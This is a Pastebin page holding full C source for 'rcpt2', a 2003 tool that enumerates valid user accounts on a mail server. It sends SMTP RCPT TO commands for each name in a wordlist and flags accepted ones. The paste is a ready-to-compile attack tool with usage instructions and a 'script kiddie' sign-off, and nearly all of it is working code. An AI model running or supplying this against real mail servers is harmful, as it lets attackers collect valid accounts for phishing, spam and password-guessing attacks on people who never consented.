Share Pastebin
Guest
Public paste!

SMTP (RCPT TO) User enumeration

By: a guest | Mar 12th, 2010 | Syntax: C | Size: 5.79 KB | Hits: 426 | Expires: Never
Copy text to clipboard
  1. /*     
  2. rcpt2           SMTP (RCPT TO) User enumeration.
  3. Date:           29.11.2003
  4. Author:         B-r00t. <br00t@blueyonder.co.uk>
  5. Webpage:        Http://doris.scriptkiddie.net
  6. IRC:            doris.scriptkiddie.net:6969 - SSL
  7.                                                                      
  8. Compile:        gcc -o rcpt2 rcpt2.c
  9.                                                                                            
  10. Description:    Uses a dictionary to enumerate user accounts via
  11.                 SMTP (RCPT TO). Ensure that the SMTP server is
  12.                 vulnerable manually before using this tool.
  13.  
  14.  
  15. rpct2 by B-r00t. (c) 2003.
  16.  
  17. Usage: rcpt2 <USERLIST> <HOST>
  18.        rcpt2 usernames.txt smtp.acme.com
  19.  
  20. ENJOY!
  21. */
  22.  
  23. //Includes
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <string.h>
  27. #include <errno.h>
  28. #include <unistd.h>
  29. #include <sys/types.h>
  30. #include <sys/socket.h>
  31. #include <netinet/in.h>
  32. #include <netdb.h>
  33.  
  34. //Defines
  35. #define PORT            25
  36. #define BUFFSIZE        2048
  37. #define NAME            "rcpt2"
  38. #define HELO            "HELO avatar\n"
  39. #define MAIL            "mail from:<avatar@slax.example.net>\n"
  40. #define RCPT2           "rcpt to: "
  41.  
  42. /* Color definitions */
  43. #define YELLOW          "\E[33m\E[1m"
  44. #define RED             "\E[31m\E[1m"
  45. #define BLUE            "\E[34m\E[1m"
  46. #define NORMAL          "\E[m"
  47.  
  48. //Prototypes
  49. int usage(char *progname);
  50. int get_connect (int port, char *host);
  51. int send_sock (int sock, char *buff);
  52. int read_sock (int sock, char *buff);
  53.  
  54. //Mighty Main
  55. int main (int argc, char *argv[])
  56. {
  57. // argv[1] = usernames
  58. // argv[2] = hostname
  59.         int     sock, bytes;
  60.         FILE    *ifp;
  61.         char    sockbuff[BUFFSIZE], username[255], rcpt[300];
  62.         memset(sockbuff, '\0', sizeof(sockbuff));
  63.  
  64.         printf("\n%s%s by B-r00t. (c) 2003.%s", BLUE, NAME, NORMAL);
  65.  
  66.         if (argc < 3) usage(argv[0]);
  67.  
  68.         if ( (ifp = fopen(argv[1], "r")) == NULL)
  69.         {
  70.         printf("\nFile %s ", argv[1]);
  71.         fflush(stdout);
  72.         perror("[fopen] ");
  73.         exit(2);
  74.         }
  75.  
  76.         printf("%s\nUsernames from: %s", RED, argv[1]);
  77.         printf("\nRCPT TO username enumeration on %s.\n\n", argv[2]);
  78.         printf("%s", NORMAL);
  79.  
  80.         //Connect
  81.         sock = get_connect(PORT, argv[2]);
  82.         if (sock == -1) {
  83.                                 printf("Error: Connection Failed!");
  84.                                 exit(-1);
  85.                                 }
  86.  
  87.         //SMTP Banner
  88.         bytes = read_sock (sock, sockbuff);
  89.         printf("%s\nBANNER: %s", YELLOW, sockbuff);
  90.  
  91.         //Send HELO
  92.         printf("\nSEND: %s%s", YELLOW, HELO);
  93.         send_sock (sock, HELO);
  94.  
  95.         //Read the result
  96.         bytes = read_sock (sock, sockbuff);
  97.         printf("%sRECV: %s", YELLOW, sockbuff);
  98.  
  99.         memset(sockbuff, '\0', sizeof(sockbuff));
  100.  
  101.         //Send MAIL FROM
  102.         printf("%s\nSENT: %s", YELLOW, MAIL);
  103.         send_sock (sock, MAIL);
  104.  
  105.         //Read the result
  106.         bytes = read_sock (sock, sockbuff);
  107.         printf("RECV: %s", sockbuff);
  108.         printf("%s\n\n", NORMAL);
  109.  
  110.         while ( ! feof(ifp) )
  111.         {
  112.         fgets(username, 255, ifp);
  113.  
  114.         if (ferror(ifp)) {
  115.                         printf("\nError [ferror] %s", argv[1]);
  116.                         fclose(ifp);
  117.                         exit(4);
  118.                         }
  119.  
  120.         //Build RCPT TO
  121.         strcpy (rcpt, RCPT2);
  122.         strcat (rcpt, username);
  123.  
  124.         //Send RCPT TO
  125.         send_sock (sock, rcpt);
  126.  
  127.         //Read the result
  128.         bytes = read_sock (sock, sockbuff);
  129.  
  130.         //Were we successfull?            
  131.         if ( strstr(sockbuff, "250")) printf("VALID_USER: %s", username);
  132.        
  133.         }
  134.         //RSET mailserver & QUIT
  135.         printf("\n\nSending RSET & QUIT to %s\n", argv[2]);
  136.         send_sock (sock, "RSET\n");
  137.         send_sock (sock, "QUIT\n");
  138. sleep(1);
  139. close(sock);
  140. fclose(ifp);
  141. printf("\nOk Done!\n\n\n");
  142. exit(0);
  143. }//End_Main
  144.  
  145.        
  146. //Do Socket Connect
  147. int get_connect (int port, char *host)
  148. {
  149.         int sock;
  150.         struct sockaddr_in dest_addr;
  151.         struct hostent *target;
  152.  
  153.        
  154.         if ((target=gethostbyname(host)) == NULL) {
  155.         herror("gethostbyname");
  156.         exit(-1);
  157.         }
  158.  
  159.         if ((sock=socket(AF_INET, SOCK_STREAM, 6)) == -1)
  160.                                         {
  161.                                         perror("\nsocket");
  162.                                         return -1;
  163.                                         }
  164.        
  165.         dest_addr.sin_family = AF_INET;
  166.         dest_addr.sin_port = htons(port);
  167.         dest_addr.sin_addr = *((struct in_addr *)target->h_addr);
  168.        
  169.         memset( &(dest_addr.sin_zero), '\0', 8);
  170.         if (connect (sock, (struct sockaddr *)
  171.         &dest_addr, sizeof (struct sockaddr)) == -1)
  172.                 {
  173.                 perror("\nconnect");
  174.                 close(sock);
  175.                 exit(-1);
  176.                 }
  177.         else return sock;
  178. }
  179.  
  180. //Send Data To Socket
  181. int send_sock (int sock, char *buff)
  182. {
  183.         int remaining, total, bytes;
  184.         remaining = strlen(buff);
  185.         total = 0;
  186.         do {
  187.         bytes = 0;
  188.         bytes = (send (sock, buff, strlen(buff), 0));
  189.                 if (bytes == -1)
  190.                 {
  191.                 perror("send");
  192.                 close(sock);
  193.                 exit(-1);
  194.                 }
  195.         remaining -= bytes;
  196.         buff += bytes;
  197.         total +=bytes;
  198.         } while (remaining);
  199.         return total;
  200. }
  201.  
  202.  
  203. //Read Data From Socket
  204. int read_sock (int sock, char *buff)
  205. {
  206.         int bytes = 0;
  207.         memset(buff, '\0', sizeof(buff));
  208.         bytes = (recv (sock, buff, BUFFSIZE-1, 0));
  209.                 if (bytes == -1)
  210.                 {
  211.                 perror ("\nrecv");
  212.                 close(sock);
  213.                 exit(-1);
  214.                 }
  215.         else return bytes;
  216. }
  217.  
  218. //Usage    
  219. int usage(char *progname)
  220. {
  221.         printf("%s\n\nUsage:\t%s <USERLIST> <HOST>", RED, progname);
  222.         printf("\n\t%s usernames.txt smtp.acme.com", progname);
  223.         printf("%s\n\n", NORMAL);
  224.         exit(-1);
  225. }
  226. // D-O-R-I-S
  227. // Doris Only Really Interests Scriptkiddies...
  228. // ENJOY!